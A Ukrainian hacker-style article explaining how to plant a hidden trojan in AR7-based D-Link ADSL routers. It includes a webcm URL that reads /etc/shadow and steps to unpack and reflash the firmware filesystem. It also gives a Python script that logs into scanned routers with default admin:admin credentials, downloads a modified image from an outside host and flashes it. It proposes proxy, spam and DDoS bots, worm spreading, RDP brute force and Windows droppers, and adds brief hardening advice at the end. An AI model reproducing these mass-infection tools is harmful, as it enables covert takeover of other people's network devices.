Привіт, мій читачу! У цій статті я розповім про чудових ADSL-роутерах - незамінних в домашніх і промислових мережах залізяках. Повідаю тобі про питання експлуатування цих залозок у вигідних для нас цілях - вшивання звірячого троянця у нутрощі маршрутизатора. І таким чином, щоб це не помітив ні розумний адмін, ні вухатий юзер.
Побажання або вимоги до IQ

Коли я писав цю статтю, то припускав, що читати її буде достатньо просунутий юзер з встановленим GNU \ Linux, який також має деякі навички роботи та програмування у цій операційній системі. Однак представляється можливим повторити мої дії і на Windows (використовуючи Cygwin, наприклад), але це описано не буде. Для отримання максимального задоволення необхідні також навички володіння паяльником (це вже опціонально).
А почалося все ...

Щось я відволікся. Отже, все почалося з того, як одного разу зависла ця сама залізяка, точніше, вона зрадливо обірвала з'єднання з інтернетом і ніяк не хотіла його відновлювати. При цьому перебувала вона далеко, фізичного доступу до неї не було (втім, щось я забрехався - мені просто було ліньки встати з дивана з перезавантажити роутер:)), Web-інтерфейс не відгукувався, але я згадав, що на цій штуковини повинен бути telnet або ssh. Заходити в зону адміністрування я раніше не пробував і необачно не міняв пароль до мого профілю (як виявилося пізніше, даремно, адже по дефолту він "admin: admin"). Отже, я спробував SSH, і він працював!

$ Ssh admin@192.168.1.1
$ Password:

Як грім серед ясного неба! BusyBox! Ніколи не замислювався про те, під чиїм управлінням перебуває цей роутер, виявляється - GNU / Linux! Мені стало дуже цікаво, як же тут все працює, і, подумки завдяки лінь і випадок, я пустився у дослідження.
Збір інформації

Отже, з чого я почав? Звичайно, зі списку доступних команд:

# Busybox
...
Currently defined functions:
[, Ash, busybox, cat, chgrp, chmod, chown, cp, date, dd, df, echo, false, free, grep, hostname, id, ifconfig, init, insmod, kill, ln, login, ls, lsmod, mkdir, modprobe, mount, mv, passwd, ping, ps, pwd, reboot, rm, rmmod, route, sh, sleep, sync, tar, test, tftp, touch, true, tty, umount, wget, whoami, yes

Набір цілком осудний, для нормального дослідження та втілення ідей вистачить. Наступним прокинувся інтерес до версії ядра:

# Cat / proc / version
Linux version 2.4.17_mvl21-malta-mips_fp_le (root @ xy) (gcc version 2.95.3 20010315 (release / MontaVista)) # 1 Thu Dec 28 5:45:00 CST 2006

Для довідки: MontaVista - дистрибутив, орієнтований на вмонтовані системи. Переважна більшість виробників мережевого устаткування віддають перевагу цій системі. Її можна знайти і на інших пристроях, наприклад, в електронних книгах або стільникових телефонах.

Далі мене зацікавила інформація про архітектуру системи:

# Cat / etc / versions
CUSTOMER = DLinkRU
MODEL = DSL-500T
VERSION = V3.02B01T01.RU.20061228
HTML_LANG = EN.302
BOARD = AR7VW
VERSION_ID =
CPUARCH_NAME = AR7
MODEL_ID =
FSSTAMP = 20061228055253

# Cat / proc / cpuinfo
processor: 0
cpu model: MIPS 4KEc V4.8
BogoMIPS: 149.91
wait instruction: no
microsecond timers: yes
extra interrupt vector: yes
hardware watchpoint: yes
VCED exceptions: not available
VCEI exceptions: not available

AR7 - це двоядерний чіп, розроблений компанією Texas Instruments. Він містить повноцінний ADSL-роутер на одному чіпі, який працює в стандарті ADSL1, ADSL2, ADSL2. Заснований на високопродуктивному RISC процесорі MIPS 4KEc, з тактовою частотою 175 або 233 (залежно від технології виробництва: 18 мкм або 13 мкм). Чіп містить на борту 2 UART-інтерфейсу, один з яких (UART_A) використовується для виведення налагоджувальної інформації, а також EJTAG-інтерфейс, службовець для налагодження (прошивки) Flash0памяті. Про використання цих інтерфейсів буде розказано далі.

Наостанок я подивився відомості про пам'ять:

# Cat / proc / mounts
/ Dev/mtdblock/0 / squashfs ro 0 0
none / dev devfs rw 0 0
proc / proc proc rw 0 0
ramfs / var ramfs rw 0 0

# Cat / proc / mtd
dev: size erasesize name
mtd0: 0034f000 00010000 "mtd0"
mtd1: 00090f70 00010000 "mtd1"
mtd2: 00010000 00002000 "mtd2"
mtd3: 00010000 00010000 "mtd3"
mtd4: 003e0000 00010000 "mtd4"

Природно, не забувши про адреси блоків:

# Cat / proc / ticfg / env | grep mtd
mtd0 0x900a1000, 0x903f0000
mtd1 0x90010090, 0x900a1000
mtd2 0x90000000, 0x90010000
mtd3 0x903f0000, 0x90400000
mtd4 0x90010000, 0x903f0000

З вищеописаного випливало, що Flash-пам'ять (/ dev / mtdblock) має 5 блоків:

mtd0 - образ файлової системи SquashFs. Це спеціальна файлова система, що знаходиться в стислому стані і доступна тільки для читання. Для стиснення використовується алгоритм gzip, але в даному випадку - LZMA (коефіцієнт стиснення вищий). Розмір цього блоку дорівнює 4 Мб.

mtd1 - цей блок містить ядро MontaVista в стислому LZMA алгоритмом стані, розмір блоку 600 Кб.

mtd2 - Bootloader ADAM2, виконує завантаження ядра, так само має сервісний FTP-сервер для відновлення і перепрошивки. Докладніше про нього буде сказано далі. Розмір блоку дорівнює 64 Кб.

mtd3 - поділений між конфігураційними даними і environment (змінні оточення) блоком, поглянути на який можна в / proc / ticfg / env. Конфігураційні дані знаходяться в / etc / config.xml. Посередником між файловою системою блоком конфігурації є закрита (як і всі cm_ *, керуючі, про них пізніше) програма cm_logic. Розмір цього блоку - також 64 Кб.

mtd4 - тут міститься сигнатура прошивки, ядро і образ файлової системи. Використовується цей блок при оновленні прошивки через Web-інтерфейс. Спочатку вона складується в цей блок, потім перевіряється контрольна сума і, якщо сходиться, записується на своє нове місце.

Оперативна пам'ять (у цій моделі розміром 16 Мб, але ADAM2 в цій моделі бачить тільки 14 Мб, лікується оновленням), змонтована до директорії / var, і її спокійно можна використовувати в наших цілях:

# Free
total used free shared buffers
Mem: 14276 10452 3824 0

Не забудемо пробігтися по списку процесів. Із цікавих тут затаїлися демони: thttpd - Web-server; dproxy - кешуючий DNS запити proxy server; ddnsd - DNS daemon; pppd ... - Власне daemon, який реалізує підключення за протоколом PPP, а в параметрах ми бачимо дані облікового запису. Отже, якщо роутер не прикидається шлангом (читай - не знаходиться в режимі bridge), то можна з легкістю отримати обліковий запис.

Програми cm_ * є закритими і до складу вихідних кодів входять вже скомпільований (ці програми - також розробка Texas Instruments, на D-Link за недотримання ліцензій лаятися не варто).

cm_logic - програма керуюча логікою роботи системи, через неї проходить конфігурація; виробляє синхронізацію / etc / config.xml з відповідною частиною вмісту / dev / ticfg (вказує на mtd3).

cm_cli - інтерфейс командного рядка для керування та конфігурації системи. Наприклад, настройки підключень проводяться через цей інтерфейс.

cm_pc - виконує запуск і моніторинг процесів, зв'язку з правилами (наприклад, запускати програму як демон, також у правила входить інформація про відкриваються портах) описаними в / etc / progdefs.xml; завантажується відразу після ядра.

webcm - CGI-інтерфейс, дірявий, наприклад дозволяє поглянути на / etc / shadow, просто звернувшись по URL.

http://192.168.1.1/../../../etc/shadow

Нічого не отримав, thttpd не такий простий, а от якщо так:

http://192.168.1.1/cgi-bin/webcm?getpage=/etc/shadow

Інша справа. Це можна використовувати для збору інформації, якщо немає доступу до ssh / telnet, але є доступ до Web-інтерфейсу.

firmwarecfg - використовується для прошивки через Web-інтерфейс. На вхід цієї програми POST-запитом з Web-інтерфейсу передається образ, а вона вже перенаправляє до Flash-пам'яті, попередньо перевіривши контрольну суму образу.

На цьому збір первинної інформації закінчений, пора переходити до рішучих дій.
Установка засобів розробки та компіляція прошивки

Прошивки роутерів D-Link (та й всіх інших, заснованих на GNU / Linux) поширюються під ліцензією GPL, отримати їх можна на офіційному FTP-сервер. Насправді можна вибрати будь-яку зі списку запропонованих прошивок, вони однакові (щодо T-серії). В поставці - вихідні коди ядра, оточення, необхідних інструментів і toolchain для розробки / компіляції існуючих програм. Його слід розпакувати в корінь і додати в змінну оточення PATH шлях до bin-директорії toolchain `a:

$ Tar xvf tools.tgz
$ Export PATH = $ PATH: / opt / <toolchain_path>

Тепер, щоб скомпілювати свою власну прошивку, заходимо в директорію з вихідними кодами і виконуємо цей самий make.

$ Cd DSL/TYLinuxV3/src & & make

Буде задано безліч питань про включення підтримки пристроїв (краще відповісти на них позитивно). Після закінчення компіляції в директорії TYLinuxV3/images будуть створені образи прошивки. Також можна запустити скрипт, однойменний з твоєї моделлю з директорії / TYLinuxV3/src/scripts.

Пару слів про передачу файлів між роутером і комп'ютером. Самий перший спосіб, який я застосував - можливість передачі файлів по протоколу SSH, використовуючи для цього програму scp. Але трохи пізніше я дізнався, що mc (Midnight Commander) також має можливість з'єднуватися по SSH (Panel -> Shell connection). Як варіант, можна підняти на своєму робочому місці Web-або FTP-сервер. Пізніше я віддав перевагу Web-сервера, бо працює він найбільш жваво. Встановив я thttpd, маленький і швидкий, як і на роутері. Запускаємо у себе і стягаємо на роутер файл, попередньо перейшовши в директорію / var (вона, як говорилося раніше, доступна для запису).

$ Thttpd-g-d ~ / ForRouter-u user-p 8080
# Cd / var
# Wget http://192.168.1.2/file

Щоб стягнути файл з роутера, можна також підняти Web-server:

# Thttpd-g-d / var-u root-p 8080

Зверни увагу, якщо ти хочеш завантажити роутера виконуваний файл, слід прибрати права на запуск. При завантаженні великої кількості файлів з роутера краще використовувати mc, не потрібно буде попередньо копіювати файли в / var і прибирати права, а після - видаляти ці файли для звільнення місця. Загалом, справа смаку, вибирай будь-який варіант, який тобі зручний.
Створення своєї програми

Почнемо, звичайно ж, з класики програмування - HelloWorld. Якихось особливих правил немає. Текст програми до болю знайомий:

# Include <stdio.h>
# Include <stdlib.h>

int main (void)
{
printf ("Mate.Feed.Kill.Repeat.");
return 0;
}

Компілюємо (шлях до toolchain'а повинен бути вказаний у змінній оточення PATH):

$ Mips_fp_le-gcc hell.c-o hell
$ Mips_fp_le-strip-s hell

Далі, копіюємо програму на роутер в директорію / var, встановлюємо права на запуск і запускаємо:

# Cd / var
# Chmod x hell
#. / Hell

І. .. нічого не станеться, або вивалиться оповіщення path not found. У чому ж справа? Я раніше вже говорив про cm_pc - ця програма запускає інші відповідно до правил, описаними в / etc / progdefs.xml. Ось і прийшов час модифіковані і прошивати образи файлової системи.
Модифікація файлової системи

Для того, щоб модифікувати файлову систему, її спершу треба розпакувати. Як я вже згадував, файлова система тут - SquashFs з патчем LZMA. У пакет для розробки прошивок входить тільки програма mksquashfs (для створення образу), unsquashfs (для розпаковування) відсутня. Але це не біда, всі є на сайті файлової системи, потрібна нам саме перша версія. Наклавши LZMA-патч і зібравши утиліти, відкладаємо їх у зручне місце. Для початку отримаємо образ файлової системи з роутера:

# Cat / dev/mtdblock/0> / var / fs.img

І завантажити зручним способом.

Далі, розпаковуємо образ:

$ Mkdir unpacked_fs
$ Unsquashfs fs.img unpacked_fs

Тепер можна модифікувати як завгодно, а завгодно нам скинути FuckTheWorld в директорію / bin і додати правило для запуску в / etc / progdefs.xml.

$ Cp hello unpacked_fs / bin
$ Vim unpacked_fs / etc / progdefs.xml

А додаємо ось що (між тегами <progdefs> </ progdefs>):

<program>
<name> hell </ name>
<path> / bin / hell </ name>
</ Program>

Зберігаємо і запаковуємо назад:

$ Mksquashfs unpacked_fs my_fs.img-noappend

Слід звернути увагу, що образ файлової системи не повинен перевищувати допустимих розмірів. Якщо тобі закортіло щось терміново випробувати, і воно не поміщається, видали з образу що-небудь "непотрібне" виду grep, whoami, або ж скористайся пакувальником виконуваних файлів UPX. Тепер завантажуємо на роутер образ і переходимо до наступного розділу.
Запис образу файлової системи

Спосіб прошивки роутера дуже простий, полягає він у зверненні до пристрою / dev / mtdblock / *. Отже, заливаємо на роутер будь-яким зручним способом образ файлової системи і виробляємо це нехитре дію:

# Cat my_fs.img> / dev/mtdblock/0 & & reboot

або

# Cp my_fs.img / dev/mtdblock/0 & & reboot

Через деякий час, коли пройде процес запису, роутер перезавантажиться, і зміни набудуть чинності. Пробуємо запустити наш приклад:

# Hell
Mate.Feed.Kill.Repeat.

Вийшло! Чудово. Йдемо далі.
Способи відновлення у випадку невдачі

Перш ніж прошивати роутер більш серйозними "виробами" слід дізнатися, як же діяти в критичних випадках, коли маршрутизатор відмовляється завантажуватися. Безвихідних ситуацій немає. На допомогу приходить ADAM2 FTP-сервер. Для початку слід запустити FTP-клієнт на IP-адресу ADAM2, який можна підглянути в / proc / ticfg / env (параметр my_ipaddress).

Далі слід включити роутер із затиснутою кнопкою reset, і через деякий мить з'явиться запрошення.

$ Ftp 192.168.1.199
220 ADAM2 FTP Server ready.
530 Please login with USER and PASS.

Для наочності можна включити налагоджувальний режим, тоді будуть виводитися вся інформація і всі відповіді FTP:

ftp> debug

Логін / пароль - adam2/adam2. Процес перепрошивання дуже простий. Для початку переводимо сесію FTP в бінарний режим:

ftp> bin

Далі вибираємо Flash-пам'ять для запису:

ftp> quote MEDIA FLSH

Тепер відправляємо, наприклад, образ файлової системи і вказуємо місце призначення:

ftp> put fs.img "fs.img mtd0"

Чекаємо закінчення запису, перезавантажуємо роутер, виходимо з сесії:

ftp> quote REBOOT
ftp> quit

Все! Як бачиш, немає нічого складного, тепер якщо щось піде не так, ти завжди можеш виправити ситуацію.

Для зручності роботи, варто дати нормальний IP-адресу, включити автоматичне завантаження (щоб з reset'ом не танцювати) і трохи збільшити час очікування підключення перед завантаженням ядра. Всі ці параметри зберігаються в змінних оточення, є спеціальні команди FTP ADAM2: GETENV і SETENV (для отримання та встановлення змінної відповідно). У сесії FTP вводимо наступні команди:

ftp> SETENV autoload, 1
ftp> SETENV autoload_timeout, 8
ftp> SETENV my_ipaddress, 192.168.1.1
ftp> quote REBOOT
ftp> quit

Роутер перезавантажується і можна зайти на ADAM2 по 192.168.1.1:21. Якщо з'явиться бажання перепрошити образ ядра, і ядро відмовиться завантажуватися, FTP запуститься сам. Перед прошивкою модифікованими образами обов'язково слід зберегти поточні для відновлення. Взагалі, змінити змінні оточення можна і через / proc / ticfg / env, мені просто захотілося розповісти більше про роботу з FTP.

# Echo my_ipaddress 192.168.1.1> proc / ticfg / env

А перевірити зміни можна так:

# Cat / proc / ticfg / env | grep my_ipaddress

Що робити, якщо ти захотів спробувати перепрошити завантажувач, і як діяти у разі невдачі? Або роутер з якихось причин не запускається, і немає доступу до ADAM2? Вихід є - JTAG, а точніше, в цьому чіпі присутній EJTAG (розширена версія). Це інтерфейс для внутрішньосхемного налагодження \ програмування.

Для підключення до цього інтерфейсу нам знадобиться LPT-порт комп'ютера, роз'єми і 4 резистора. Схема проста.

Поспішаю відмітити, що прошивка через JTAG - справа не швидка, займе досить багато часу. Так що використовувати варто лише для відновлення завантажувача, якщо навіть він не працює. Для спілкування з JTAG слід використовувати спеціальну програму, наприклад UrJTAG. Нижче наведено приклад роботи до цього інтерфейсу. Установка зв'язку:

jtag> cable parallel 0x378 DLC5
jtag> detect

Виявлення Flash-пам'яті:

jtag> detectflash 0x30000000 1

Читання Flash-пам'яті:

jtag> readmem 0x30000000 0x400000 fullflash.img

Запис в пам'ять (завантажувача):

jtag> flashmem 0x30000000 adam2.img

Корисно також знати про UART-інтерфейсі (раніше я обіцяв про нього розповісти). У UART_A звітує, тобто веде лог завантажувач (на ранній стадії завантаження з ним можна і поспілкуватися) і ядро. При написанні модифікованих ядер це незамінне для налагодження. UART - Universal Asynchronous Receiver / Transmitter (універсальний асинхронний приймач) майже завжди присутня на мікроконтролерах.

Схема адаптера дуже проста. Базується лише на одній мікросхемі - перетворювачі рівнів TTL: MAX232 для COM і FT232R для USB. Мікросхеми досить поширені і проблем з покупкою не буде.

Схема збирається на макетної платі (яку спокійно можна помістити в корпус роз'єму COM-порту) за 20 хвилин і приносить море користі. Наприклад, при налагодженні ядра це абсолютно незамінний рішення. А якщо з електронікою туго? Виходом є USB-шнури для старих телефонів, на них якраз стоїть перетворювач UART - USB.
Деякі ідеї поширення

Свій проксі \ сокс на чужому роутері - це здорово. Як, власне, і спамящій по всіх протоколах маршрутизатор. Це тобі не комп'ютер з Windows, яку переставляють кожен місяць:). Роутери часто не міняють і не перепрошивати. Та й кому крім нас спаде в голову сама ідея інфікування роутера?

Не забувай, під контролем у нас весь трафік від користувача / мережі. На більш потужних роутерах вже і DDOS-бота можливо повісити. Сховати файл / приховати процес, перехоплювати запис у mtd блоки виключивши затирання нашої програми - все, що завгодно!

Припустимо, ти зібрався взятися за написання серйозної програми для роутера. Важлива дуже хороша налагодження, напевно доведеться купу разів переписувати / відновлювати образи ... Це дуже сумна перспектива. Навіть руки трохи опускаються, якщо ще й врахувати, що ресурс перезапису у Flash-пам'яті невеликий (докладніше в документації до мікросхеми пам'яті), і є перспектива угробити її. Але вихід є! Qemu може емулювати AR7! Ти уявляєш, які це дає можливості і безмежне зручність? Тепер нам нічого не заважає написати щось неймовірно класне!

Отже. Ти написав програму, перевірив на своєму або 1-2 чужих роутерах, але ж ще вся мережа попереду, вручну заражати клопітно, на 10-му роутері вже починаєш проклинати весь світ, і пливе в очах від низок "cat" і "mtd". Напишемо програму для автоматизації цих рутинних дій. Я вибрав мову python.

План роботи такий:

    * Складаємо список роутерів, наприклад, за допомогою nmap;
    * Скрипт повинен брати зі списку по порядку IP-адреси, заходити через telnet зі стандартним логіном \ паролем;
    * Далі ті самі дії: закачуємо модифікований образ, перезаписувати, перезавантажуємося.

#! / Usr / bin / env python
# Encode = UTF-8

import telnetlib, time

SERVER = "http://anyhost.com/fs.image"

for addr in open ("iplist.txt"):
telnet = telnetlib.Telnet (addr)
telnet.set_debuglevel (1)
telnet.read_until ("login:")
time.sleep (5)
telnet.write ("admin \ n")
telnet.read_until ("Password:")
telnet.write ("admin \ n")
telnet.read_until ("#")
telnet.write ("cd / var & & wget" SERVER)
telnet.read_until ("#")
telnet.write ("cat fs.image> / dev/mtdblock/0")
telnet.read_until ("#")
telnet.write ("reboot")
telnet.close ()

Логіка роботи скрипта дуже далека від ідеалу, зараз поясню, чому. Для початку слід перевіряти версію прошивки / ядра і модель роутера, бо можуть бути серйозні відмінності в роботі. Далі, замість заготовок прошивок слід викачувати образ файлової системи з роутера, розпаковувати, модифікувати і відправляти назад. Це не повинно викликати проблем, що виникають з сумісністю в різних моделях / версіях прошивок, адже стійкість роботи для тебе - найголовніше. Також вірус може мати функції хробака, і, якщо є бажання, завжди можна прикрутити до нього сканер мережі, брутфорс для RDP і подібні фішки.

Є ще один чудовий спосіб поширення. Нічого не заважає написати програму під Windows, яка буде мати при собі (або завантажувати зі свого сервера) образ файлової системи і заражати їм роутер, якщо він присутній. Поширювати цю програму усіма "стандартними" способами: знімні накопичувачі, експлойти під програми, зараження інших програм ... Комбінуючи ці способи, можна влаштувати серйозну пандемію. Ти тільки уяви собі цю картину - адже подібні пристрої поширені повсюдно.
Захист роутера

Розкопавши все це, я подумав: як же можна захистити роутер? А то, дивись, і сам потраплю. Насамперед слід змінити пароль користувачів на більш складний і довгий (обмеження - 8 символів), змінити банери та привітання сервісів (hex-редактором, або, що краще, перекомпілювати програми), щоб nmap або інші сканери не могли визначити версії сервісів.

Також слід змінити порти, на яких висять демони. Робиться це шляхом модифікації progdefs.xml. Вбити telnet (до нього простіше за все підібрати пароль, та й протокол незахищений, навіщо він нам), включити firewall, дозволити підключення до сервісів тільки з власного IP-або MAC-адреси. Також використовуй firewall для захисту мережі або комп'ютера, не дарма ж він присутній. Грамотна настройка правил завжди допоможе захиститися.
Висновок

Багато хто, не тільки D-Link-роутери та інші подібні пристрої побудовані на чіпі AR7, в список входять Acorp, NetGear, Linksys, Actionec ... Досить популярний цей AR7 разом з MontaVista. Звідси випливає, що, використовуючи той же toolchain, без особливих проблем можна провести дії, описані в статті.

Задумайся: крім шкідливих дій можна зробити і корисне / приємне собі та іншим (не сперечаюся, задоволення від злому замінити неможливо, але все ж). Можна робити свої прошивки, наприклад, більш потужні роутери, здатні качати / роздавати торренти ... Всі моделі мають USB 1.1-інтерфейс, але в молодших моделях він не розпаяний. Додати до ядра USB-модуль і драйвер файлової системи, забезпечити роутер Flash-пам'яттю - і в підсумку вийде отаке мережеве сховище за невеликі гроші. Варіантів маса, а ідеї повинні виникати тисячами - не обмежуй себе, твори і твори!